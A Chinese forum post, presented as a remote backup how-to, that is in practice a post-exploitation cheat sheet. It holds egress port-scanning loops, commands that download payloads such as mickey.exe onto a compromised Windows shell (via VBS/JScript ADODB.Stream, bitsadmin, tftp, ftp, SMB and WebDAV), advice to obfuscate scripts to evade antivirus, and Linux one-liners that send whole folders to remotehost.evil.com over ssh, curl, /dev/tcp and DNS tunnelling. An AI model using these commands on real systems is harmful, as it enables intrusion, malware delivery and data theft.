论坛广播台
广播台右侧结束

主题: cmd命令远程备份数据库和文件的方法

  • 矜持*
楼主回复
  • 阅读:341
  • 回复:3
  • 发表于:2014/9/9 8:48:12
  • 来自:江西
  1. 楼主
  2. 倒序看帖
  3. 只看该作者
马上注册,结交更多好友,享用更多功能,让你轻松玩转鄱阳社区。

立即注册。已有帐号? 登录或使用QQ登录微信登录新浪微博登录

Windows
1.判断什么端口能出来
有时候有防火墙,你也不知道哪个端口能出来,你只有SHELL,咋判断什么端口能出来呢?如果你是在WIN VISTA以下版本,那么用下面的命令可以啦

                FOR /L %i IN (1,1,65535) DO (cmd /c "start /b telnet 1.2.3.4 %i")

用TELNET不停的连接你的1-65535端口,你本地开个TCPDUMP就行了,如果连通了,就OK了.
如果TCP封锁了,可以用UDP

                FOR /L %i IN (1,1,65535) DO (cmd /c "start /b nslookup -port=%i wooyun.org 1.2.3.4")

这个就更慢了,但是有效,其中的wooyun.org是你可以设置自己的动态域名
如果是VISTA以后的版本,自带有POWERSHELL:
下面分别是走TCP和UDP的

                function sT($IP,$Port) {$Address = [system.net.IPAddress]::Parse($IP)$End = New-Object System.Net.IPEndPoint $address, $port$Saddrf = [System.Net.Sockets.AddressFamily]::InterNetwork$Stype = [System.Net.Sockets.SocketType]::Stream$Ptype = [System.Net.Sockets.ProtocolType]::TCP$Sock = New-Object System.Net.Sockets.Socket $saddrf, $stype, $ptype$Sock.TTL = 26try { $sock.Connect($End)[Byte[]] $Message = [char[]]"w00tw00t"$Sent = $Sock.Send($Message)$sock.EndConnect($Connect)} catch {}$Sock.Close()}1..65535 | %{ sT -IP "1.2.3.4" -Port $_ }function sU($IP, [int]$Port){$Address = [system.net.IPAddress]::Parse($IP)$End = New-Object System.Net.IPEndPoint($Address, $port)$Saddrf=[System.Net.Sockets.AddressFamily]::InterNetwork$Stype=[System.Net.Sockets.SocketType]::Dgram$Ptype=[System.Net.Sockets.ProtocolType]::UDP$Sock=New-Object System.Net.Sockets.Socket $saddrf, $stype, $ptype$Sock.TTL = 26$sock.Connect($end)$Enc=[System.Text.Encoding]::ASCII$Message = "w00tw00t"$Buffer=$Enc.GetBytes($Message)$Sent=$Sock.Send($Buffer)} 1..65535 | %{ sU -IP "1.2.3.4" -Port $_ }

2.WIN下传文件

如果是VISTA以下版本,可以用TFTP/FTP/TELNET,这个网上文章很多的了,另外如果你搞的是国外的,不要忘记SMB,如果能走HTTP的80,可以用VBS的ADODB.Stream来下载,不过这个已经被很多杀毒软件杀了,编写的时候编码混淆下就行了.但不保证能过主动防御,还是少用,另外zzzEVAzzz的那个Any2Bat可以直接传文件,就是体积有限制,不能传太大的文件,传小马的话应该可以了.如果能走80的话,还可以尝试下WEBDAV,WIN Vista以后就方便了,直接用内建命令bitsadmin就行了

使用ADODB.Stream来传文件

code 1:

                Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP") : objXMLHTTP.open "GET", "http://192.168.1.43/mickey.exe", false : objXMLHTTP.send() : Set objADOStream = CreateObject("ADODB.Stream") : objADOStream.Open : objADOStream.Type = 1 : objADOStream.Write objXMLHTTP.ResponseBody : objADOStream.Position = 0 : Set objFSO = Createobject("Scripting.FileSystemObject") : objADOStream.SaveToFile "C:92msf.exe":objADOStream.Close

code 2:

                function HTTPGetDownload(url, file) {var http = new ActiveXObject("WinHttp.WinHttpRequest.5.1")http.open("GET", url)http.send()var stream = new ActiveXObject("ADODB.Stream")stream.type = 1stream.open()stream.write(http.responseBody)stream.saveToFile(file,2) }HTTPGetDownload("http://1.2.3.4/mickey.exe", "mickey.exe")

使用bitsadmin来传文件:
code 3:

                bitsadmin /rawretrun /transfer getfile http://pentest.cc/mickey.exe c:92mickey.exe

走UDP的TFTP:

code 4:

tftp –i 1.2.3.4 GET mickey.exe

使用FTP:

code 5:

                echo open 1.2.3.4 > x&echo user 2 2 >> x &echo get mickey.exe >> x &echo quit >> x &ftp -n -s:x

使用TELNET:

情景假设,我是LINUX要传文件到WIN上去

首先我在本地的LINUX上用NC执行

                nc -lvp 23 < mickey.txt

然后我在WIN上执行

telnet 我的LINUX主机的IP -f c:92mickey.txt

这样就把我linux主机上的mickey.txt文件拷贝到win主机的c盘下了

使用SMB传送文件:

情景假设,我是LINUX要传文件到WIN上去

首先我在本地的LINUX上配置好SAMBA服务

                nano /etc/samba/smb.conf

                [hack]    comment = File Server Share    path = /tmp/    browseable = yes    writable = yes    guest ok = yes    read only = no    create mask = 0755

                service samba start

然后我在WIN上执行

                C:92>net use z: 9292192.168.10.8092hack

                copy z:92mickey.exe C:92mickey.exe

通过WEBDAV来传文件:

                net use o: "http://192.168.200.18/uploads"

                copy z:92mickey.exe C:92mickey.exe

也可以走HTTPS

                net use o: "https://192.168.200.18/uploads"

但是需要在主机上开启WebClient服务,才能成功

                net start WebClient

下面是Anthr@X牛的,主攻LINUX
Linux
当我们想要把一个服务器里面的数据打包备份到另一个服务器的时候,这些命令可能会有帮助。
1.tar over ssh
一边tar一边通过ssh传到服务器并且自动解压缩,最后会得到远程服务器上文件夹的一份完美备份,并且在目标服务器上不会写入任何文件。

                tar zcf - /some/localfolder | ssh remotehost.evil.com "cd /some/path/name tar zxpf -"

2. rsync over ssh
通过ssh隧道同步,要求是本地服务器要安装了rsync

                rsync -aH localhost remotehost.evil.com:/some/path/name

假如ssh默认的22端口被封,那么你可以用ssh -p 或者 rysnc ——port指定端口,比如可以把ssh服务器开到80或者443端口。
如果连SSH协议都被封了呢,怎么换端口都没用怎么办?别怕,我们可以把数据通过https发送:

                tar zcf - localfolder | curl -F "data=@-" https://remotehost.evil.com/script.php

curl -F 表示通过伪表单用Post方式发送数据
当然,你还要在本地建一个script.php用来收取数据然后写入到文件才行,并且web服务器要支持ssl并且有https证书。
不过curl在很多linux发行版里面都没有默认安装,所以还是有时候还是不太靠谱。
那么现在不能用ssh也不能用curl,那怎么办?
直接通过tcp发送

                tar zcf - localfolder >/dev/tcp/remotehost.evil.com/443

大家看这个方式是不是有点眼熟?没错,就是和弹shell的方法差不多,只不过这次我们用来传送文件。
效果和用nc传文件是一样的。假如远程服务器和网络还有内容检测的话,我们还可以对文件进行一些编码来混淆,比如用xxd命令转换成16进制 dump

                tar zcf - localfolder | xxd -p >/dev/tcp/remotehost.evil.com/443

本地服务器可以用xxd -r来还原源文件
其实除了xxd,用 base64也不错,就是有点明显……
更奇葩的方法,用DNS来传送数据:

                tar zcf - localfolder | xxd -p -c 16 |

                    while read line do host $line.domain.com remotehost.evil.com done

把打包后的数据用16进制编码,每行16字节,这样在通过dns发送到时候就不会因为超长导致出错。然后我们限制每次只发送1个ping数据包,减少发送时间。至于怎么还原,那就要看你的了
你是最棒的
  
  • 袄物
  • 发表于:2014/9/9 9:10:38
  • 来自:江西
  1. 沙发
  2. 倒序看帖
  3. 只看该作者
  
  • guest7055
  • 发表于:2014/9/9 14:43:42
  • 来自:江西
  1. 板凳
  2. 倒序看帖
  3. 只看该作者
  
  • 矜持*
楼主回复
  • 发表于:2014/9/9 14:49:43
  • 来自:江西
  1. 3楼
  2. 倒序看帖
  3. 只看该作者
你是最棒的
  
二维码

下载APP 随时随地回帖

你需要登录后才可以回帖 登录 | 注册 微信登陆
加入签名
Ctrl + Enter 快速发布
""